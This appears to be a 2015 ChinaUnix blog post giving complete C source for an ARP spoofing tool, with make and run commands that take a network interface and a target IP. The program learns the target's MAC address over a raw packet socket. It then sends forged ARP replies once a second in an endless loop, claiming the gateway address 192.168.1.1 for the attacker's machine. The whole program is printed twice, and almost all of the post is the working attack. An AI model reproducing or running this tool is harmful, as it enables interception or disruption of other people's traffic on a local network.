Chinaunix首页 | 论坛 | 博客

Allinster的学习笔记

首页　| 　博文目录　| 　关于我

allinsters

  • 博客访问： 96955
  • 博文数量： 21
  • 博客积分： 0
  • 博客等级： 民兵
  • 技术积分： 194
  • 用 户 组： 普通用户
  • 注册时间： 2014-10-26 22:04
个人简介

大家好，我叫王大锤！

文章分类

全部博文（21）

推荐博文
相关博文
arp攻击实例

分类： C/C++

2015-05-03 09:45:42

一个利用packet套接字实现arp攻击的实例
使用方法
make arp_attack
 ./arp_attack wlan0 192.168.1.107
当然wlan0的位置也可以是eth0等（看你用哪个网卡），192.168.1.107是目标机的IP

点击(此处)折叠或打开

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <string.h>


  7. #include <sys/socket.h>
  8. #include <netpacket/packet.h>
  9. #include <net/ethernet.h> /* the L2 protocols */


  12. #include <netinet/if_ether.h>


  15. #include <sys/ioctl.h>
  16. #include <net/if.h>


  19. #include <sys/types.h> /* See NOTES */
  20. #include <sys/socket.h>


  23. #include <sys/socket.h>
  24. #include <netinet/in.h>
  25. #include <arpa/inet.h>


  28. #define BUFSIZE 2048


  31. #define DEBUG 1


  34. static char *i_name = NULL;
  35. static int interface = 0;


  38. int catch_mac(int sfd, char *mac_buf, char *ip)
  39. {
  40.         char buf[BUFSIZE];
  41.         char recvbuf[BUFSIZE];
  42.         int ret;
  43.         struct ifreq ife;
  44.         struct sockaddr_in *myip;
  45.         in_addr_t herip;


  48.         struct sockaddr_ll ll;
  49.         
  50.         struct ethhdr *eth = (void *)buf;
  51.         struct ether_arp *arp = (void *)(eth + 1);


  54.         struct ethhdr *reth;
  55.         struct ether_arp *rarp;


  58.         /* 获取自己的mac地址 */
  59.         strcpy(ife.ifr_name, i_name);


  62.         ret = ioctl(sfd, SIOCGIFHWADDR, &ife);
  63.         if(ret < 0){
  64.                 perror("ioctl");
  65.                 return -1;
  66.         }
  67.         /* 获取自己的mac地址 */


  70.         /* MAC协议 */
  71.         memset(eth->h_dest, 0xff, 6);
  72.         memcpy(eth->h_source, ife.ifr_hwaddr.sa_data, 6);
  73.         eth->h_proto = htons(ETH_P_ARP);
  74.         /* MAC协议 */
  75. #ifdef DEBUG
  76.         printf("My Mac: %02X:%02X:%02X:%02X:%02X:%02X\n", \
  77.                 (unsigned char)eth->h_source[0], \
  78.                 (unsigned char)eth->h_source[1], \
  79.                 (unsigned char)eth->h_source[2], \
  80.                 (unsigned char)eth->h_source[3], \
  81.                 (unsigned char)eth->h_source[4], \
  82.                 (unsigned char)eth->h_source[5]);
  83. #endif
  84.         /* ARP协议 */
  85.         arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); /* Format of hardware address. */
  86.         arp->ea_hdr.ar_pro = htons(ETHERTYPE_IP); /* Format of protocol address. */
  87.         arp->ea_hdr.ar_hln = 6; /* Length of hardware address. */
  88.         arp->ea_hdr.ar_pln = 4; /* Length of protocol address. */
  89.         arp->ea_hdr.ar_op = htons(ARPOP_REQUEST);


  92.         memcpy(arp->arp_sha, eth->h_source, 6); /* sender hardware address */
  93.         memcpy(arp->arp_tha, eth->h_dest, 6); /* sender hardware address */


  96.         /* 获取自己的IP地址 */
  97.         ret = ioctl(sfd, SIOCGIFADDR, &ife);
  98.         if(ret < 0){
  99.                 perror("ioctl");
  100.                 return -1;
  101.         }


  104.         myip = (void *)&ife.ifr_addr;
  105. #ifdef DEBUG
  106.         printf("My Ip: %s\n", inet_ntoa(myip->sin_addr));
  107. #endif
  108.         memcpy(arp->arp_spa, &myip->sin_addr.s_addr, 4); /* sender protocol address */
  109.         herip = inet_addr(ip);
  110.         memcpy(arp->arp_tpa, &herip, 4);
  111.         /* ARP协议 */


  114.         /* 获得网络接口 */
  115.         ret = ioctl(sfd, SIOCGIFINDEX, &ife);
  116.         if(ret < 0){
  117.                 perror("ioctl");
  118.                 return -1;
  119.         }


  122.         ll.sll_family = AF_PACKET;
  123.         ll.sll_ifindex = ife.ifr_ifindex;


  126.         interface = ll.sll_ifindex;
  127. #ifdef DEBUG
  128.         printf("My interface %d\n", ll.sll_ifindex);
  129. #endif
  130.         /* 发送arp请求 */
  131.         ret = sendto(sfd, buf, sizeof(struct ether_arp) + sizeof(struct ethhdr), 0, (struct sockaddr *)&ll, sizeof(ll));
  132.         if(ret < 0){
  133.                 perror("sendto");
  134.                 return -1;
  135.         }
  136. #ifdef DEBUG
  137.         printf("ret = %d\n", ret);
  138. #endif
  139.         /* 接受arp回复 */
  140.         again:
  141.         ret = recvfrom(sfd, recvbuf, sizeof(recvbuf), 0, NULL, NULL);
  142.         if(ret < 0){
  143.                 perror("recvfrom");
  144.                 exit(1);
  145.         }


  148.         reth =(void *)recvbuf;
  149.         rarp = (void *)(reth + 1);


  152.         /* 找到对方mac地址 */
  153.         if(!memcmp(rarp->arp_tha, eth->h_source, 6) && htons(reth->h_proto) == ETH_P_ARP && htons(rarp->ea_hdr.ar_op) == ARPOP_REPLY)
  154.                 memcpy(mac_buf, rarp->arp_sha, 6);
  155.         else
  156.                 goto again;
  157.         
  158.         return 0;
  159. }


  162. int build_rarp(int sfd, struct ethhdr *mac, char *ip)
  163. {
  164.         int ret;
  165.         struct ifreq ife;
  166.         struct ether_arp *arp = (void *)(mac + 1);
  167.         in_addr_t herip;
  168.         in_addr_t netway_ip = inet_addr("192.168.1.1");


  171.         /* MAC协议 */
  172.         strcpy(ife.ifr_name, i_name);
  173.         ret = ioctl(sfd, SIOCGIFHWADDR, &ife);
  174.         if(ret < 0){
  175.                 perror("ioctl");
  176.                 return -1;
  177.         }
  178.         memcpy(mac->h_source, ife.ifr_hwaddr.sa_data, 6);
  179.         mac->h_proto = htons(ETH_P_ARP);
  180.         /* MAC协议 */


  183.         /* ARP协议 */
  184.         arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); /* Format of hardware address. */
  185.         arp->ea_hdr.ar_pro = htons(ETHERTYPE_IP); /* Format of protocol address. */
  186.         arp->ea_hdr.ar_hln = 6; /* Length of hardware address. */
  187.         arp->ea_hdr.ar_pln = 4; /* Length of protocol address. */
  188.         arp->ea_hdr.ar_op = htons(ARPOP_REPLY);


  191.         memcpy(arp->arp_sha, ife.ifr_hwaddr.sa_data, 6);
  192.         memcpy(arp->arp_tha, mac->h_dest, 6); /* recv hardware address */
  193.         memcpy(arp->arp_spa, &netway_ip, 4);
  194.         herip = inet_addr(ip);
  195.         memcpy(arp->arp_tpa, &herip, 4);
  196.         /* ARP协议 */


  199.         return 0;
  200. }


  203. int arp_attack(int sfd, char *buf)
  204. {
  205.         int ret;
  206.         struct sockaddr_ll ll;


  209.         ll.sll_family = AF_PACKET;
  210.         ll.sll_ifindex = interface;


  213.         ret = sendto(sfd, buf, sizeof(struct ether_arp) + sizeof(struct ethhdr), 0, (struct sockaddr *)&ll, sizeof(ll));
  214.         if(ret < 0){
  215.                 perror("sendto");
  216.                 return -1;
  217.         }


  220.         return 0;
  221. }


  224. int main(int argc, char *argv[])
  225. {
  226.         char *herip = argv[2];
  227.         i_name = argv[1];
  228.         char send_buf[BUFSIZE];
  229.         int ret;
  230.         int sfd;
  231.         int count = 0;


  234.         //创建socket
  235.         sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  236.         if(sfd < 0){
  237.                 perror("socket");
  238.                 exit(1);
  239.         }


  242.         ret = catch_mac(sfd, send_buf, herip);
  243.         if(ret < 0){
  244.                 perror("catch_mac");
  245.                 exit(1);
  246.         }


  249. #ifdef DEBUG
  250.         printf("Her Mac: %02X:%02X:%02X:%02X:%02X:%02X\n", \
  251.                 (unsigned char)send_buf[0], \
  252.                 (unsigned char)send_buf[1], \
  253.                 (unsigned char)send_buf[2], \
  254.                 (unsigned char)send_buf[3], \
  255.                 (unsigned char)send_buf[4], \
  256.                 (unsigned char)send_buf[5]);
  257. #endif


  260.         build_rarp(sfd, (void *)(send_buf), herip);


  263.         while(1){
  264.                 ret = arp_attack(sfd, send_buf);
  265.                 if(ret < 0){
  266.                         perror("arp_attack");
  267.                         continue;
  268.                 }
  269.                 printf("%d\n", count++);
  270.                 sleep(1);
  271.         }


  274.         //关闭socket
  275.         close(sfd);


  278.         return 0;
  279. }

  281. 点击(此处)折叠或打开
  282. #include <stdio.h>
  283. #include <stdlib.h>
  284. #include <unistd.h>
  285. #include <string.h>

  287. #include <sys/socket.h>
  288. #include <netpacket/packet.h>
  289. #include <net/ethernet.h> /* the L2 protocols */

  291. #include <netinet/if_ether.h>

  293. #include <sys/ioctl.h>
  294. #include <net/if.h>

  296. #include <sys/types.h> /* See NOTES */
  297. #include <sys/socket.h>

  299. #include <sys/socket.h>
  300. #include <netinet/in.h>
  301. #include <arpa/inet.h>

  303. #define BUFSIZE 2048

  305. #define DEBUG 1

  307. static char *i_name = NULL;
  308. static int interface = 0;

  310. int catch_mac(int sfd, char *mac_buf, char *ip)
  311. {
  312.         char buf[BUFSIZE];
  313.         char recvbuf[BUFSIZE];
  314.         int ret;
  315.         struct ifreq ife;
  316.         struct sockaddr_in *myip;
  317.         in_addr_t herip;

  319.         struct sockaddr_ll ll;
  320.         
  321.         struct ethhdr *eth = (void *)buf;
  322.         struct ether_arp *arp = (void *)(eth + 1);

  324.         struct ethhdr *reth;
  325.         struct ether_arp *rarp;

  327.         /* 获取自己的mac地址 */
  328.         strcpy(ife.ifr_name, i_name);

  330.         ret = ioctl(sfd, SIOCGIFHWADDR, &ife);
  331.         if(ret < 0){
  332.                 perror("ioctl");
  333.                 return -1;
  334.         }
  335.         /* 获取自己的mac地址 */

  337.         /* MAC协议 */
  338.         memset(eth->h_dest, 0xff, 6);
  339.         memcpy(eth->h_source, ife.ifr_hwaddr.sa_data, 6);
  340.         eth->h_proto = htons(ETH_P_ARP);
  341.         /* MAC协议 */
  342. #ifdef DEBUG
  343.         printf("My Mac: %02X:%02X:%02X:%02X:%02X:%02X\n", \
  344.                 (unsigned char)eth->h_source[0], \
  345.                 (unsigned char)eth->h_source[1], \
  346.                 (unsigned char)eth->h_source[2], \
  347.                 (unsigned char)eth->h_source[3], \
  348.                 (unsigned char)eth->h_source[4], \
  349.                 (unsigned char)eth->h_source[5]);
  350. #endif
  351.         /* ARP协议 */
  352.         arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); /* Format of hardware address. */
  353.         arp->ea_hdr.ar_pro = htons(ETHERTYPE_IP); /* Format of protocol address. */
  354.         arp->ea_hdr.ar_hln = 6; /* Length of hardware address. */
  355.         arp->ea_hdr.ar_pln = 4; /* Length of protocol address. */
  356.         arp->ea_hdr.ar_op = htons(ARPOP_REQUEST);

  358.         memcpy(arp->arp_sha, eth->h_source, 6); /* sender hardware address */
  359.         memcpy(arp->arp_tha, eth->h_dest, 6); /* sender hardware address */

  361.         /* 获取自己的IP地址 */
  362.         ret = ioctl(sfd, SIOCGIFADDR, &ife);
  363.         if(ret < 0){
  364.                 perror("ioctl");
  365.                 return -1;
  366.         }

  368.         myip = (void *)&ife.ifr_addr;
  369. #ifdef DEBUG
  370.         printf("My Ip: %s\n", inet_ntoa(myip->sin_addr));
  371. #endif
  372.         memcpy(arp->arp_spa, &myip->sin_addr.s_addr, 4); /* sender protocol address */
  373.         herip = inet_addr(ip);
  374.         memcpy(arp->arp_tpa, &herip, 4);
  375.         /* ARP协议 */

  377.         /* 获得网络接口 */
  378.         ret = ioctl(sfd, SIOCGIFINDEX, &ife);
  379.         if(ret < 0){
  380.                 perror("ioctl");
  381.                 return -1;
  382.         }

  384.         ll.sll_family = AF_PACKET;
  385.         ll.sll_ifindex = ife.ifr_ifindex;

  387.         interface = ll.sll_ifindex;
  388. #ifdef DEBUG
  389.         printf("My interface %d\n", ll.sll_ifindex);
  390. #endif
  391.         /* 发送arp请求 */
  392.         ret = sendto(sfd, buf, sizeof(struct ether_arp) + sizeof(struct ethhdr), 0, (struct sockaddr *)&ll, sizeof(ll));
  393.         if(ret < 0){
  394.                 perror("sendto");
  395.                 return -1;
  396.         }
  397. #ifdef DEBUG
  398.         printf("ret = %d\n", ret);
  399. #endif
  400.         /* 接受arp回复 */
  401.         again:
  402.         ret = recvfrom(sfd, recvbuf, sizeof(recvbuf), 0, NULL, NULL);
  403.         if(ret < 0){
  404.                 perror("recvfrom");
  405.                 exit(1);
  406.         }

  408.         reth =(void *)recvbuf;
  409.         rarp = (void *)(reth + 1);

  411.         /* 找到对方mac地址 */
  412.         if(!memcmp(rarp->arp_tha, eth->h_source, 6) && htons(reth->h_proto) == ETH_P_ARP && htons(rarp->ea_hdr.ar_op) == ARPOP_REPLY)
  413.                 memcpy(mac_buf, rarp->arp_sha, 6);
  414.         else
  415.                 goto again;
  416.         
  417.         return 0;
  418. }

  420. int build_rarp(int sfd, struct ethhdr *mac, char *ip)
  421. {
  422.         int ret;
  423.         struct ifreq ife;
  424.         struct ether_arp *arp = (void *)(mac + 1);
  425.         in_addr_t herip;
  426.         in_addr_t netway_ip = inet_addr("192.168.1.1");

  428.         /* MAC协议 */
  429.         strcpy(ife.ifr_name, i_name);
  430.         ret = ioctl(sfd, SIOCGIFHWADDR, &ife);
  431.         if(ret < 0){
  432.                 perror("ioctl");
  433.                 return -1;
  434.         }
  435.         memcpy(mac->h_source, ife.ifr_hwaddr.sa_data, 6);
  436.         mac->h_proto = htons(ETH_P_ARP);
  437.         /* MAC协议 */

  439.         /* ARP协议 */
  440.         arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); /* Format of hardware address. */
  441.         arp->ea_hdr.ar_pro = htons(ETHERTYPE_IP); /* Format of protocol address. */
  442.         arp->ea_hdr.ar_hln = 6; /* Length of hardware address. */
  443.         arp->ea_hdr.ar_pln = 4; /* Length of protocol address. */
  444.         arp->ea_hdr.ar_op = htons(ARPOP_REPLY);

  446.         memcpy(arp->arp_sha, ife.ifr_hwaddr.sa_data, 6);
  447.         memcpy(arp->arp_tha, mac->h_dest, 6); /* recv hardware address */
  448.         memcpy(arp->arp_spa, &netway_ip, 4);
  449.         herip = inet_addr(ip);
  450.         memcpy(arp->arp_tpa, &herip, 4);
  451.         /* ARP协议 */

  453.         return 0;
  454. }

  456. int arp_attack(int sfd, char *buf)
  457. {
  458.         int ret;
  459.         struct sockaddr_ll ll;

  461.         ll.sll_family = AF_PACKET;
  462.         ll.sll_ifindex = interface;

  464.         ret = sendto(sfd, buf, sizeof(struct ether_arp) + sizeof(struct ethhdr), 0, (struct sockaddr *)&ll, sizeof(ll));
  465.         if(ret < 0){
  466.                 perror("sendto");
  467.                 return -1;
  468.         }

  470.         return 0;
  471. }

  473. int main(int argc, char *argv[])
  474. {
  475.         char *herip = argv[2];
  476.         i_name = argv[1];
  477.         char send_buf[BUFSIZE];
  478.         int ret;
  479.         int sfd;
  480.         int count = 0;

  482.         //创建socket
  483.         sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  484.         if(sfd < 0){
  485.                 perror("socket");
  486.                 exit(1);
  487.         }

  489.         ret = catch_mac(sfd, send_buf, herip);
  490.         if(ret < 0){
  491.                 perror("catch_mac");
  492.                 exit(1);
  493.         }

  495. #ifdef DEBUG
  496.         printf("Her Mac: %02X:%02X:%02X:%02X:%02X:%02X\n", \
  497.                 (unsigned char)send_buf[0], \
  498.                 (unsigned char)send_buf[1], \
  499.                 (unsigned char)send_buf[2], \
  500.                 (unsigned char)send_buf[3], \
  501.                 (unsigned char)send_buf[4], \
  502.                 (unsigned char)send_buf[5]);
  503. #endif

  505.         build_rarp(sfd, (void *)(send_buf), herip);

  507.         while(1){
  508.                 ret = arp_attack(sfd, send_buf);
  509.                 if(ret < 0){
  510.                         perror("arp_attack");
  511.                         continue;
  512.                 }
  513.                 printf("%d\n", count++);
  514.                 sleep(1);
  515.         }

  517.         //关闭socket
  518.         close(sfd);

  520.         return 0;
  521. }


阅读(1484) | 评论(0) | 转发(0) |
0

上一篇：kernel的内存管理

下一篇：linux的内存开辟

给主人留下些什么吧！~~
关于我们 | 关于IT168 | 联系方式 | 广告合作 | 法律声明 | 免费注册

Copyright 2001-2010 ChinaUnix.net All Rights Reserved 北京皓辰网域网络信息技术有限公司. 版权所有

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6